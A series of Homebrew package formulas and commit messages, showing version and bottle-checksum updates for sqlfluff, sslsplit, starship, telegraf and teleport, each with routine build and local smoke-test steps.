"b3bda1d108d5dd99f4a20d24d9c348e91c4db7ab1b749200bded2f839ccbe68f" end resource "tomli" do url "https://files.pythonhosted.org/packages/c0/3f/d7af728f075fb08564c5949a9c95e44352e23dee646869fa104a3b2060a3/tomli-2.0.1.tar.gz" sha256 "de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f" end resource "tqdm" do url "https://files.pythonhosted.org/packages/3c/77/e75fb048907ccc065030bf7d9d2d1441247e4e234dbfceb5466207190962/tqdm-4.63.1.tar.gz" sha256 "4230a49119a416c88cc47d0d2d32d5d90f1a282d5e497d49801950704e49863d" end resource "typing-extensions" do url "https://files.pythonhosted.org/packages/b1/5a/8b5fbb891ef3f81fc923bf3cb4a578c0abf9471eb50ce0f51c74212182ab/typing_extensions-4.1.1.tar.gz" sha256 "1a9462dcc3347a79b1f1c0271fbe79e844580bb598bafa1ed208b94da3cdcd42" end def install virtualenv_install_with_resources end test do assert_match version.to_s, shell_output("#{bin}/sqlfluff --version") (testpath/"test.sql").write <<~EOS SELECT 1; EOS assert_match "All Finished!", shell_output("#{bin}/sqlfluff lint --nocolor #{testpath}/test.sql") end end
class Sslsplit < Formula desc "Man-in-the-middle attacks against SSL encrypted network connections" homepage "https://www.roe.ch/SSLsplit" url "https://github.com/droe/sslsplit/archive/0.5.5.tar.gz" sha256 "3a6b9caa3552c9139ea5c9841d4bf24d47764f14b1b04b7aae7fa2697641080b" license "BSD-2-Clause" revision 1 head "https://github.com/droe/sslsplit.git", branch: "develop" bottle do sha256 cellar: :any, arm64_big_sur: "ccfd4cc54565e58d41ce627ab1ee785de30c96fa29ca3637c3ee6e84320499dc" sha256 cellar: :any, big_sur: "4d2d0096b82dfb0104f014f69363a34c1242e2bc32ef585466dc938677c33d26" sha256 cellar: :any, catalina: "a533ccfc4c05e2affcfa4c697c38d995239abfd1fe4c383ffaa1a8ed42a933e6" sha256 cellar: :any, mojave: "10534d989706ca1d29b7f1cbffc59ef07b02d0d755cb8aec5bdf9430c52769bb" sha256 cellar: :any, high_sierra: "4f7a3cb7333641658889a55830a69d0ac64cf93dca8a6de32052d4080f477058" sha256 cellar: :any_skip_relocation, x86_64_linux: "d4d7b3870ce8a27f6040c4bd9ed85010a62d389c4ff08ab33ac1fa94adc49e79" end depends_on "check" => :build depends_on "pkg-config" => :build depends_on "libevent" depends_on "libnet" depends_on "libpcap" depends_on "openssl@1.1" def install ENV["LIBNET_BASE"] = Formula["libnet"].opt_prefix system "make" system "make", "install", "PREFIX=#{prefix}" end test do port = free_port cmd = "#{bin}/sslsplit -D http 0.0.0.0 #{port} www.roe.ch 80" output = pipe_output("(#{cmd} & PID=$! && sleep 3 ; kill $PID) 2>&1") assert_match "Starting main event loop", output end end sslsplit: update 0.5.5_1 bottle. class Sslsplit < Formula desc "Man-in-the-middle attacks against SSL encrypted network connections" homepage "https://www.roe.ch/SSLsplit" url "https://github.com/droe/sslsplit/archive/0.5.5.tar.gz" sha256 "3a6b9caa3552c9139ea5c9841d4bf24d47764f14b1b04b7aae7fa2697641080b" license "BSD-2-Clause" revision 1 head "https://github.com/droe/sslsplit.git", branch: "develop" bottle do sha256 cellar: :any, arm64_monterey: "8d28aedb6e1d3750430f1016b5f3ec4a4181afbc2186174c06bae99a186b6de8" sha256 cellar: :any, arm64_big_sur: "ccfd4cc54565e58d41ce627ab1ee785de30c96fa29ca3637c3ee6e84320499dc" sha256 cellar: :any, monterey: "29d3d71987797256fd0b5e628673701823d2aebd6d75a27316bd8e728852bd84" sha256 cellar: :any, big_sur: "4d2d0096b82dfb0104f014f69363a34c1242e2bc32ef585466dc938677c33d26" sha256 cellar: :any, catalina: "a533ccfc4c05e2affcfa4c697c38d995239abfd1fe4c383ffaa1a8ed42a933e6" sha256 cellar: :any, mojave: "10534d989706ca1d29b7f1cbffc59ef07b02d0d755cb8aec5bdf9430c52769bb" sha256 cellar: :any, high_sierra: "4f7a3cb7333641658889a55830a69d0ac64cf93dca8a6de32052d4080f477058" sha256 cellar: :any_skip_relocation, x86_64_linux: "d4d7b3870ce8a27f6040c4bd9ed85010a62d389c4ff08ab33ac1fa94adc49e79" end depends_on "check" => :build depends_on "pkg-config" => :build depends_on "libevent" depends_on "libnet" depends_on "libpcap" depends_on "openssl@1.1" def install ENV["LIBNET_BASE"] = Formula["libnet"].opt_prefix system "make" system "make", "install", "PREFIX=#{prefix}" end test do port = free_port cmd = "#{bin}/sslsplit -D http 0.0.0.0 #{port} www.roe.ch 80" output = pipe_output("(#{cmd} & PID=$! && sleep 3 ; kill $PID) 2>&1") assert_match "Starting main event loop", output end end
class Starship < Formula desc "The cross-shell prompt for astronauts" homepage "https://starship.rs" url "https://github.com/starship/starship/archive/v0.22.0.tar.gz" sha256 "ed60db278a8d7cf45a21814ea80afe8b83fa5f6cd79a10844c7296d9670a48a6" head "https://github.com/starship/starship.git" bottle do cellar :any_skip_relocation sha256 "9a4e1bdfe984359d6063063e1835a87c4eceac3bcb20633b850344c747418b83" => :catalina sha256 "0bdbe6fe74af42c7caa1b82de5794a5b7d4291100e5a1a994e155bc6beca4f92" => :mojave sha256 "de0752141e36a625b912fea558361c73c779b64218533527bc27058b2e456955" => :high_sierra end depends_on "rust" => :build def install system "cargo", "install", "--root", prefix, "--path", "." end test do ENV["STARSHIP_CONFIG"] = "" assert_equal "❯ ", shell_output("#{bin}/starship module character") end end starship 0.23.0 Closes #45284. Signed-off-by: Thierry Moisan <8bf87a6c4caed0437859f8c8fafc6782533e4540@gmail.com> class Starship < Formula desc "The cross-shell prompt for astronauts" homepage "https://starship.rs" url "https://github.com/starship/starship/archive/v0.23.0.tar.gz" sha256 "32dcdd879c044badc5ed0ba6d1ec6667b6e44abb6d9e1032746c1aed3b26ce8f" head "https://github.com/starship/starship.git" bottle do cellar :any_skip_relocation sha256 "9a4e1bdfe984359d6063063e1835a87c4eceac3bcb20633b850344c747418b83" => :catalina sha256 "0bdbe6fe74af42c7caa1b82de5794a5b7d4291100e5a1a994e155bc6beca4f92" => :mojave sha256 "de0752141e36a625b912fea558361c73c779b64218533527bc27058b2e456955" => :high_sierra end depends_on "rust" => :build def install system "cargo", "install", "--root", prefix, "--path", "." end test do ENV["STARSHIP_CONFIG"] = "" assert_equal "❯ ", shell_output("#{bin}/starship module character") end end
class Telegraf < Formula desc "Server-level metric gathering agent for InfluxDB" homepage "https://www.influxdata.com/" url "https://github.com/influxdata/telegraf/archive/v1.22.4.tar.gz" sha256 "828172fd3125eebc9777f3a4b42c5292bc85d6d87e4a5b41a7bb1b3e6fbc7d2a" license "MIT" head "https://github.com/influxdata/telegraf.git", branch: "master" livecheck do url :stable regex(/^v?(\d+(?:\.\d+)+)$/i) end bottle do sha256 cellar: :any_skip_relocation, arm64_monterey: "b6f8bd274110e5f937da6079ff818cbac265fedf6d71d6d334edfaf242d3ea60" sha256 cellar: :any_skip_relocation, arm64_big_sur: "b91d040b38122e853be473bc5dec9f75b2ac108359d47aabbb3056b797bc2ac9" sha256 cellar: :any_skip_relocation, monterey: "e8fab1e9ccac5dd07bad730ebc592d67d6260dcdd787a25af73a3e023b7df165" sha256 cellar: :any_skip_relocation, big_sur: "2f6a1a7c0b09b9c511bdb3389f131a73f2df5c1f4fc8d77e6728993b821fe5e7" sha256 cellar: :any_skip_relocation, catalina: "a1a1ac82f7d4f5bea88a0308a7791dbf23f9df483363d99e138ffc6c682f25df" sha256 cellar: :any_skip_relocation, x86_64_linux: "59d6cf04f6c84471aec743fd769413caee9b578d088fb71aa80432db146f9f89" end depends_on "go" => :build def install system "go", "build", *std_go_args, "-ldflags", "-X main.version=#{version}", "./cmd/telegraf" etc.install "etc/telegraf.conf" => "telegraf.conf" end def post_install # Create directory for additional user configurations (etc/"telegraf.d").mkpath end service do run [opt_bin/"telegraf", "-config", etc/"telegraf.conf", "-config-directory", etc/"telegraf.d"] keep_alive true working_dir var log_path var/"log/telegraf.log" error_log_path var/"log/telegraf.log" end test do (testpath/"config.toml").write shell_output("#{bin}/telegraf -sample-config") system "#{bin}/telegraf", "-config", testpath/"config.toml", "-test", "-input-filter", "cpu:mem" end end telegraf 1.23.0 Closes #103559. Signed-off-by: Sean Molenaar <2b250e3fea88cfef248b497ad5fc17f7dc435154@users.noreply.github.com> Signed-off-by: BrewTestBot <8a898ee6867e4f2028e63d2a6319b2224641c06c@users.noreply.github.com> class Telegraf < Formula desc "Server-level metric gathering agent for InfluxDB" homepage "https://www.influxdata.com/" url "https://github.com/influxdata/telegraf/archive/v1.23.0.tar.gz" sha256 "097f0ae89332dd55c121dbb6b5f81b151a0f0418c11d26b430b33be31ca90d0b" license "MIT" head "https://github.com/influxdata/telegraf.git", branch: "master" livecheck do url :stable regex(/^v?(\d+(?:\.\d+)+)$/i) end bottle do sha256 cellar: :any_skip_relocation, arm64_monterey: "b6f8bd274110e5f937da6079ff818cbac265fedf6d71d6d334edfaf242d3ea60" sha256 cellar: :any_skip_relocation, arm64_big_sur: "b91d040b38122e853be473bc5dec9f75b2ac108359d47aabbb3056b797bc2ac9" sha256 cellar: :any_skip_relocation, monterey: "e8fab1e9ccac5dd07bad730ebc592d67d6260dcdd787a25af73a3e023b7df165" sha256 cellar: :any_skip_relocation, big_sur: "2f6a1a7c0b09b9c511bdb3389f131a73f2df5c1f4fc8d77e6728993b821fe5e7" sha256 cellar: :any_skip_relocation, catalina: "a1a1ac82f7d4f5bea88a0308a7791dbf23f9df483363d99e138ffc6c682f25df" sha256 cellar: :any_skip_relocation, x86_64_linux: "59d6cf04f6c84471aec743fd769413caee9b578d088fb71aa80432db146f9f89" end depends_on "go" => :build def install system "go", "build", *std_go_args, "-ldflags", "-X main.version=#{version}", "./cmd/telegraf" etc.install "etc/telegraf.conf" => "telegraf.conf" end def post_install # Create directory for additional user configurations (etc/"telegraf.d").mkpath end service do run [opt_bin/"telegraf", "-config", etc/"telegraf.conf", "-config-directory", etc/"telegraf.d"] keep_alive true working_dir var log_path var/"log/telegraf.log" error_log_path var/"log/telegraf.log" end test do (testpath/"config.toml").write shell_output("#{bin}/telegraf -sample-config") system "#{bin}/telegraf", "-config", testpath/"config.toml", "-test", "-input-filter", "cpu:mem" end end
class Telegraf < Formula desc "Server-level metric gathering agent for InfluxDB" homepage "https://influxdata.com" url "https://github.com/influxdata/telegraf/archive/1.7.0.tar.gz" sha256 "27e1e2ffd74d80baa16ea99601c3895fa3643375de6049bad5c08d1f35b1f63d" head "https://github.com/influxdata/telegraf.git" bottle do cellar :any_skip_relocation sha256 "b0b6f3071dc8db966d23afc08373af004b4df03ca9054d6e75a27059b6696922" => :high_sierra sha256 "77de161d23723801151fc004c4c9192407aafa096f14cf9ec3f031ce9d8a26e1" => :sierra sha256 "a64c007eac29b32be2aecf077ca2680345b77ae5edb49d5e0c1df31785ec95ae" => :el_capitan end depends_on "gdm" => :build depends_on "go" => :build def install ENV["GOPATH"] = buildpath dir = buildpath/"src/github.com/influxdata/telegraf" dir.install buildpath.children cd dir do system "gdm", "restore" system "go", "install", "-ldflags", "-X main.version=#{version}", "./..." prefix.install_metafiles end bin.install "bin/telegraf" etc.install dir/"etc/telegraf.conf" => "telegraf.conf" end def post_install # Create directory for additional user configurations (etc/"telegraf.d").mkpath end plist_options :manual => "telegraf -config #{HOMEBREW_PREFIX}/etc/telegraf.conf" def plist; <<~EOS <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>KeepAlive</key> <dict> <key>SuccessfulExit</key> <false/> </dict> <key>Label</key> <string>#{plist_name}</string> <key>ProgramArguments</key> <array> <string>#{opt_bin}/telegraf</string> <string>-config</string> <string>#{etc}/telegraf.conf</string> <string>-config-directory</string> <string>#{etc}/telegraf.d</string> </array> <key>RunAtLoad</key> <true/> <key>WorkingDirectory</key> <string>#{var}</string> <key>StandardErrorPath</key> <string>#{var}/log/telegraf.log</string> <key>StandardOutPath</key> <string>#{var}/log/telegraf.log</string> </dict> </plist> EOS end test do (testpath/"config.toml").write shell_output("#{bin}/telegraf -sample-config") system "#{bin}/telegraf", "-config", testpath/"config.toml", "-test", "-input-filter", "cpu:mem" end end telegraf: update 1.7.0 bottle. class Telegraf < Formula desc "Server-level metric gathering agent for InfluxDB" homepage "https://influxdata.com" url "https://github.com/influxdata/telegraf/archive/1.7.0.tar.gz" sha256 "27e1e2ffd74d80baa16ea99601c3895fa3643375de6049bad5c08d1f35b1f63d" head "https://github.com/influxdata/telegraf.git" bottle do cellar :any_skip_relocation sha256 "2c642750d7d5c7ab90ed256fb7d39a1709ba987da9df93902b55d8279d748cf3" => :high_sierra sha256 "02bfde39056c44b6f62309b2cf64ae36e71204b50ff4f4c464efff9bf7472c8b" => :sierra sha256 "1496dafec8ab728411145c69ea8f0d346d7be8bf4c32009c843fd06dd5d9b3b0" => :el_capitan end depends_on "gdm" => :build depends_on "go" => :build def install ENV["GOPATH"] = buildpath dir = buildpath/"src/github.com/influxdata/telegraf" dir.install buildpath.children cd dir do system "gdm", "restore" system "go", "install", "-ldflags", "-X main.version=#{version}", "./..." prefix.install_metafiles end bin.install "bin/telegraf" etc.install dir/"etc/telegraf.conf" => "telegraf.conf" end def post_install # Create directory for additional user configurations (etc/"telegraf.d").mkpath end plist_options :manual => "telegraf -config #{HOMEBREW_PREFIX}/etc/telegraf.conf" def plist; <<~EOS <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>KeepAlive</key> <dict> <key>SuccessfulExit</key> <false/> </dict> <key>Label</key> <string>#{plist_name}</string> <key>ProgramArguments</key> <array> <string>#{opt_bin}/telegraf</string> <string>-config</string> <string>#{etc}/telegraf.conf</string> <string>-config-directory</string> <string>#{etc}/telegraf.d</string> </array> <key>RunAtLoad</key> <true/> <key>WorkingDirectory</key> <string>#{var}</string> <key>StandardErrorPath</key> <string>#{var}/log/telegraf.log</string> <key>StandardOutPath</key> <string>#{var}/log/telegraf.log</string> </dict> </plist> EOS end test do (testpath/"config.toml").write shell_output("#{bin}/telegraf -sample-config") system "#{bin}/telegraf", "-config", testpath/"config.toml", "-test", "-input-filter", "cpu:mem" end end
class Telegraf < Formula desc "Server-level metric gathering agent for InfluxDB" homepage "https://www.influxdata.com/" url "https://github.com/influxdata/telegraf/archive/v1.17.0.tar.gz" sha256 "b57fd51c8893f09f2ab6f86e662c518adf221177e682a0f511b7dd50c4840138" license "MIT" head "https://github.com/influxdata/telegraf.git" livecheck do url :head regex(/^v?(\d+(?:\.\d+)+)$/i) end bottle do cellar :any_skip_relocation sha256 "1e3a4ab35714f3368acccb7c47c198cb95abfdeb8d79bae4522dbb0249e4017c" => :big_sur sha256 "5c7cf49e56246307625aa6d89063e0e1e767a353c5699911daf38a26333f2648" => :catalina sha256 "5cfca7e683ceceb02fdb1f4fe0ba7ac761fcf04a1c3074e374e6664307f7d5e1" => :mojave end depends_on "go" => :build def install system "go", "build", *std_go_args, "-ldflags", "-X main.version=#{version}", "./cmd/telegraf" etc.install "etc/telegraf.conf" => "telegraf.conf" end def post_install # Create directory for additional user configurations (etc/"telegraf.d").mkpath end plist_options manual: "telegraf -config #{HOMEBREW_PREFIX}/etc/telegraf.conf" def plist <<~EOS <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>KeepAlive</key> <dict> <key>SuccessfulExit</key> <false/> </dict> <key>Label</key> <string>#{plist_name}</string> <key>ProgramArguments</key> <array> <string>#{opt_bin}/telegraf</string> <string>-config</string> <string>#{etc}/telegraf.conf</string> <string>-config-directory</string> <string>#{etc}/telegraf.d</string> </array> <key>RunAtLoad</key> <true/> <key>WorkingDirectory</key> <string>#{var}</string> <key>StandardErrorPath</key> <string>#{var}/log/telegraf.log</string> <key>StandardOutPath</key> <string>#{var}/log/telegraf.log</string> </dict> </plist> EOS end test do (testpath/"config.toml").write shell_output("#{bin}/telegraf -sample-config") system "#{bin}/telegraf", "-config", testpath/"config.toml", "-test", "-input-filter", "cpu:mem" end end telegraf: update 1.17.0 bottle. class Telegraf < Formula desc "Server-level metric gathering agent for InfluxDB" homepage "https://www.influxdata.com/" url "https://github.com/influxdata/telegraf/archive/v1.17.0.tar.gz" sha256 "b57fd51c8893f09f2ab6f86e662c518adf221177e682a0f511b7dd50c4840138" license "MIT" head "https://github.com/influxdata/telegraf.git" livecheck do url :head regex(/^v?(\d+(?:\.\d+)+)$/i) end bottle do cellar :any_skip_relocation sha256 "1e3a4ab35714f3368acccb7c47c198cb95abfdeb8d79bae4522dbb0249e4017c" => :big_sur sha256 "5c7cf49e56246307625aa6d89063e0e1e767a353c5699911daf38a26333f2648" => :catalina sha256 "5cfca7e683ceceb02fdb1f4fe0ba7ac761fcf04a1c3074e374e6664307f7d5e1" => :mojave sha256 "e2ea6b282d8845dea422adce0213baf74b1145704ddce075f8aa256000c8e07d" => :x86_64_linux end depends_on "go" => :build def install system "go", "build", *std_go_args, "-ldflags", "-X main.version=#{version}", "./cmd/telegraf" etc.install "etc/telegraf.conf" => "telegraf.conf" end def post_install # Create directory for additional user configurations (etc/"telegraf.d").mkpath end plist_options manual: "telegraf -config #{HOMEBREW_PREFIX}/etc/telegraf.conf" def plist <<~EOS <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>KeepAlive</key> <dict> <key>SuccessfulExit</key> <false/> </dict> <key>Label</key> <string>#{plist_name}</string> <key>ProgramArguments</key> <array> <string>#{opt_bin}/telegraf</string> <string>-config</string> <string>#{etc}/telegraf.conf</string> <string>-config-directory</string> <string>#{etc}/telegraf.d</string> </array> <key>RunAtLoad</key> <true/> <key>WorkingDirectory</key> <string>#{var}</string> <key>StandardErrorPath</key> <string>#{var}/log/telegraf.log</string> <key>StandardOutPath</key> <string>#{var}/log/telegraf.log</string> </dict> </plist> EOS end test do (testpath/"config.toml").write shell_output("#{bin}/telegraf -sample-config") system "#{bin}/telegraf", "-config", testpath/"config.toml", "-test", "-input-filter", "cpu:mem" end end
class Teleport < Formula desc "Modern SSH server for teams managing distributed infrastructure" homepage "https://gravitational.com/teleport" url "https://github.com/gravitational/teleport/archive/v6.1.1.tar.gz" sha256 "4218198595398e4f04aa53c6afeb29636972c88971aa652dcb85aa8863030c9f" license "Apache-2.0" head "https://github.com/gravitational/teleport.git" # We check the Git tags instead of using the `GithubLatest` strategy, as the # "latest" version can be incorrect. As of writing, two major versions of # `teleport` are being maintained side by side and the "latest" tag can point # to a release from the older major version. livecheck do url :stable strategy :git regex(/^v?(\d+(?:\.\d+)+)$/i) end bottle do sha256 cellar: :any_skip_relocation, arm64_big_sur: "d90f1325e02b5297be13525f3bda1405448e99d732efcb63c362769f10a13f8c" sha256 cellar: :any_skip_relocation, big_sur: "42f04894e8a1abbdde5704d6ef2194249915e5233d6ba21c574a4ed993dfeed3" sha256 cellar: :any_skip_relocation, catalina: "47f0d244281e24879b7c5526c28c80c151bc72ea980de8883c1957531b2bf41d" sha256 cellar: :any_skip_relocation, mojave: "e97f5e5885742a031e52ec73869332b5267df3c8bd29070a78c8a54567958516" end depends_on "go" => :build uses_from_macos "curl" => :test uses_from_macos "netcat" => :test uses_from_macos "zip" conflicts_with "etsh", because: "both install `tsh` binaries" # Keep this in sync with https://github.com/gravitational/teleport/tree/v#{version} resource "webassets" do url "https://github.com/gravitational/webassets/archive/c0d1f3ebcf5bb213fa0f7753d9e69005366f8431.tar.gz" sha256 "d030671553fed0e564eb582f65982e0af4bc75fcecf3b2b03d210569c5b6d66d" end def install (buildpath/"webassets").install resource("webassets") ENV.deparallelize { system "make", "full" } bin.install Dir["build/*"] end test do assert_match version.to_s, shell_output("#{bin}/teleport version") (testpath/"config.yml").write shell_output("#{bin}/teleport configure") .gsub("0.0.0.0", "127.0.0.1") .gsub("/var/lib/teleport", testpath) .gsub("/var/run", testpath) .gsub(/https_(.*)/, "") begin pid = spawn("#{bin}/teleport start -c #{testpath}/config.yml") sleep 5 system "/usr/bin/curl", "--insecure", "https://localhost:3080" system "/usr/bin/nc", "-z", "localhost", "3022" system "/usr/bin/nc", "-z", "localhost", "3023" system "/usr/bin/nc", "-z", "localhost", "3025" ensure Process.kill(9, pid) end end end teleport: update 6.1.1 bottle. class Teleport < Formula desc "Modern SSH server for teams managing distributed infrastructure" homepage "https://gravitational.com/teleport" url "https://github.com/gravitational/teleport/archive/v6.1.1.tar.gz" sha256 "4218198595398e4f04aa53c6afeb29636972c88971aa652dcb85aa8863030c9f" license "Apache-2.0" head "https://github.com/gravitational/teleport.git" # We check the Git tags instead of using the `GithubLatest` strategy, as the # "latest" version can be incorrect. As of writing, two major versions of # `teleport` are being maintained side by side and the "latest" tag can point # to a release from the older major version. livecheck do url :stable strategy :git regex(/^v?(\d+(?:\.\d+)+)$/i) end bottle do sha256 cellar: :any_skip_relocation, arm64_big_sur: "2a75b8f4eacec9ec30a833202a1f2653e687688743ad8b0d0696ea6c4ddcbb6f" sha256 cellar: :any_skip_relocation, big_sur: "94dbb8255bc7ea3ca292d11c849fa85c56dd95169c07548b724d1d9c8dc00d91" sha256 cellar: :any_skip_relocation, catalina: "0115ce9285d1caf52c1b5d2186cc1d605bae21f0d5e3e50fb0db8c4b5b0023cd" sha256 cellar: :any_skip_relocation, mojave: "f86ee7eae04866f3adaaffb3c80b1220ef88004970f3d80c93a602a3092be517" end depends_on "go" => :build uses_from_macos "curl" => :test uses_from_macos "netcat" => :test uses_from_macos "zip" conflicts_with "etsh", because: "both install `tsh` binaries" # Keep this in sync with https://github.com/gravitational/teleport/tree/v#{version} resource "webassets" do url "https://github.com/gravitational/webassets/archive/c0d1f3ebcf5bb213fa0f7753d9e69005366f8431.tar.gz" sha256 "d030671553fed0e564eb582f65982e0af4bc75fcecf3b2b03d210569c5b6d66d" end def install (buildpath/"webassets").install resource("webassets") ENV.deparallelize { system "make", "full" } bin.install Dir["build/*"] end test do assert_match version.to_s, shell_output("#{bin}/teleport version") (testpath/"config.yml").write shell_output("#{bin}/teleport configure") .gsub("0.0.0.0", "127.0.0.1") .gsub("/var/lib/teleport", testpath) .gsub("/var/run", testpath) .gsub(/https_(.*)/, "") begin pid = spawn("#{bin}/teleport start -c #{testpath}/config.yml") sleep 5 system "/usr/bin/curl", "--insecure", "https://localhost:3080" system "/usr/bin/nc", "-z", "localhost", "3022" system "/usr/bin/nc", "-z", "localhost", "3023" system "/usr/bin/nc", "-z", "localhost", "3025" ensure Process.kill(9, pid) end end end
class Teleport < Formula desc "Modern SSH server for teams managing distributed infrastructure" homepage "https://gravitational.com/teleport" url "https://github.com/gravitational/teleport/archive/v6.0.2.tar.gz" sha256 "c08eb20ea4dd668c445522ddd96f220aebbd9b5d01209d2f87b4052b06aa36b2" license "Apache-2.0" head "https://github.com/gravitational/teleport.git" # We check the Git tags instead of using the `GithubLatest` strategy, as the # "latest" version can be incorrect. As of writing, two major versions of # `teleport` are being maintained side by side and the "latest" tag can point # to a release from the older major version. livecheck do url :stable strategy :git regex(/^v?(\d+(?:\.\d+)+)$/i) end bottle do sha256 cellar: :any_skip_relocation, arm64_big_sur: "20eb6146838570598b1bad382fb75e56b89353f7cf8cba589bfa9c7a5958fc40" sha256 cellar: :any_skip_relocation, big_sur: "39133e6fd1b26fa2a323e8d37773fc9e326d7edf18be464b940282823c1796b6" sha256 cellar: :any_skip_relocation, catalina: "debf82dcca523d44838259249b15c44028601e541fe81e11112ad7bbc0600509" sha256 cellar: :any_skip_relocation, mojave: "ded37349f54eab2713245219a1df765791ad208e4a2981a75eac5323b250e971" end depends_on "go" => :build uses_from_macos "curl" => :test uses_from_macos "netcat" => :test uses_from_macos "zip" conflicts_with "etsh", because: "both install `tsh` binaries" # Keep this in sync with https://github.com/gravitational/teleport/tree/v#{version} resource "webassets" do url "https://github.com/gravitational/webassets/archive/228008d85ec49ed98385324bb4b5eb98bcad8bd7.tar.gz" sha256 "3269e7519c617dea2ca7b776cb74ee16344e4b80671e4baf4c8213691d914f99" end def install (buildpath/"webassets").install resource("webassets") ENV.deparallelize { system "make", "full" } bin.install Dir["build/*"] end test do assert_match version.to_s, shell_output("#{bin}/teleport version") (testpath/"config.yml").write shell_output("#{bin}/teleport configure") .gsub("0.0.0.0", "127.0.0.1") .gsub("/var/lib/teleport", testpath) .gsub("/var/run", testpath) .gsub(/https_(.*)/, "") begin pid = spawn("#{bin}/teleport start -c #{testpath}/config.yml") sleep 5 system "/usr/bin/curl", "--insecure", "https://localhost:3080" system "/usr/bin/nc", "-z", "localhost", "3022" system "/usr/bin/nc", "-z", "localhost", "3023" system "/usr/bin/nc", "-z", "localhost", "3025" ensure Process.kill(9, pid) end end end teleport 6.0.3 Closes #74784. Signed-off-by: Sean Molenaar <2b250e3fea88cfef248b497ad5fc17f7dc435154@users.noreply.github.com> Signed-off-by: BrewTestBot <8a898ee6867e4f2028e63d2a6319b2224641c06c@users.noreply.github.com> class Teleport < Formula desc "Modern SSH server for teams managing distributed infrastructure" homepage "https://gravitational.com/teleport" url "https://github.com/gravitational/teleport/archive/v6.0.3.tar.gz" sha256 "23a61fd842a9b5faed8d0deed0df0dbad25afc703fd1fbcb5d6216e9e90e95b4" license "Apache-2.0" head "https://github.com/gravitational/teleport.git" # We check the Git tags instead of using the `GithubLatest` strategy, as the # "latest" version can be incorrect. As of writing, two major versions of # `teleport` are being maintained side by side and the "latest" tag can point # to a release from the older major version. livecheck do url :stable strategy :git regex(/^v?(\d+(?:\.\d+)+)$/i) end bottle do sha256 cellar: :any_skip_relocation, arm64_big_sur: "20eb6146838570598b1bad382fb75e56b89353f7cf8cba589bfa9c7a5958fc40" sha256 cellar: :any_skip_relocation, big_sur: "39133e6fd1b26fa2a323e8d37773fc9e326d7edf18be464b940282823c1796b6" sha256 cellar: :any_skip_relocation, catalina: "debf82dcca523d44838259249b15c44028601e541fe81e11112ad7bbc0600509" sha256 cellar: :any_skip_relocation, mojave: "ded37349f54eab2713245219a1df765791ad208e4a2981a75eac5323b250e971" end depends_on "go" => :build uses_from_macos "curl" => :test uses_from_macos "netcat" => :test uses_from_macos "zip" conflicts_with "etsh", because: "both install `tsh` binaries" # Keep this in sync with https://github.com/gravitational/teleport/tree/v#{version} resource "webassets" do url "https://github.com/gravitational/webassets/archive/228008d85ec49ed98385324bb4b5eb98bcad8bd7.tar.gz" sha256 "3269e7519c617dea2ca7b776cb74ee16344e4b80671e4baf4c8213691d914f99" end def install (buildpath/"webassets").install resource("webassets") ENV.deparallelize { system "make", "full" } bin.install Dir["build/*"] end test do assert_match version.to_s, shell_output("#{bin}/teleport version") (testpath/"config.yml").write shell_output("#{bin}/teleport configure") .gsub("0.0.0.0", "127.0.0.1") .gsub("/var/lib/teleport", testpath) .gsub("/var/run", testpath) .gsub(/https_(.*)/, "") begin pid = spawn("#{bin}/teleport start -c #{testpath}/config.yml") sleep 5 system "/usr/bin/curl", "--insecure", "https://localhost:3080" system "/usr/bin/nc", "-z", "localhost", "3022" system "/usr/bin/nc", "-z", "localhost", "3023" system "/usr/bin/nc", "-z", "localhost", "3025" ensure Process.kill(9, pid) end end end
class Teleport < Formula desc "Modern SSH server for teams managing distributed infrastructure" homepage "https://gravitational.com/teleport" url "https://github.com/gravitational/teleport/archive/v9.2.4.tar.gz" sha256 "3d73d415f9ac51790772513c26f271b897e3a8fbaad7eb98e01e9eabf2d2bee8" license "Apache-2.0" head "https://github.com/gravitational/teleport.git", branch: "master" # We check the Git tags instead of using the `GithubLatest` strategy, as the # "latest" version can be incorrect. As of writing, two major versions of # `teleport` are being maintained side by side and the "latest" tag can point # to a release from the older major version. livecheck do url :stable regex(/^v?(\d+(?:\.\d+)+)$/i) end bottle do sha256 cellar: :any_skip_relocation, arm64_monterey: "8311818f6e8e0f4c1101659ad55855471475a1576023cbcff0829a644142bcf4" sha256 cellar: :any_skip_relocation, arm64_big_sur: "5d94641055b4b75eaeacabe12330bdb8eab7189a98fe3143453cfb15534c331c" sha256 cellar: :any_skip_relocation, monterey: "ee50cbcb0784cd66cd39f25d82a5d3684c4192617a0981a187f7729ccbae4b41" sha256 cellar: :any_skip_relocation, big_sur: "3b53778c0fb5a348ad0c82ec4cb778efec8ce3951e667981abe0ad003199b8c7" sha256 cellar: :any_skip_relocation, catalina: "ed6ff38696d051a4def2cbbb2901fa0ed9fd97cf175f76ba8f106a38114f78a2" sha256 cellar: :any_skip_relocation, x86_64_linux: "81d7aa61adc28ee3bd8700a894ba954661bbe3c8b8c34cf37014454d9fcf1f73" end depends_on "go" => :build uses_from_macos "curl" => :test uses_from_macos "netcat" => :test uses_from_macos "zip" conflicts_with "etsh", because: "both install `tsh` binaries" # Keep this in sync with https://github.com/gravitational/teleport/tree/v#{version} resource "webassets" do url "https://github.com/gravitational/webassets/archive/4c555ddd7f4e8c6d74dd1ac467db5d17ad5c4ecc.tar.gz" sha256 "00ba592b9a5f790e115d41a2a42127b178b75a362292b68b40577881a0984b19" end def install (buildpath/"webassets").install resource("webassets") ENV.deparallelize { system "make", "full" } bin.install Dir["build/*"] end test do curl_output = shell_output("curl \"https://api.github.com/repos/gravitational/teleport/contents/webassets?ref=v#{version}\"") assert_match JSON.parse(curl_output)["sha"], resource("webassets").url assert_match version.to_s, shell_output("#{bin}/teleport version") assert_match version.to_s, shell_output("#{bin}/tsh version") assert_match 